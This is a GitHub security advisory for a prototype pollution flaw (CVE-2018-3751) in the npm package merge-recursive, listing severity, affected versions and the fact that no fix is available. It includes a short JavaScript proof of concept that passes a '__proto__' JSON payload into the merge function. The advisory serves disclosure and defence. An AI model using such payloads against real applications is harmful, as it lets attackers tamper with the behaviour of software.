GitHub Advisoryadvisory · npm
GHSA-cvxm-f295-x957 Prototype Pollution in merge-recursive
CRITICAL
Official page ↗
- Aliases
- CVE-2018-3751
- Ecosystem
- npm
- Packages
- merge-recursive
- Severity
- Critical
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-20
- Reviewed
- 2020-06-16
Affected packages
• npm merge-recursive: <= 0.0.3 (no fix yet)
Description
All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.
Proof of concept:
```js
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```
Recommendation
There is currently no fix available.
Related
Alias · CVE (1)
- CVE-2018-3751 The utilities function in all versions <= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object… vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness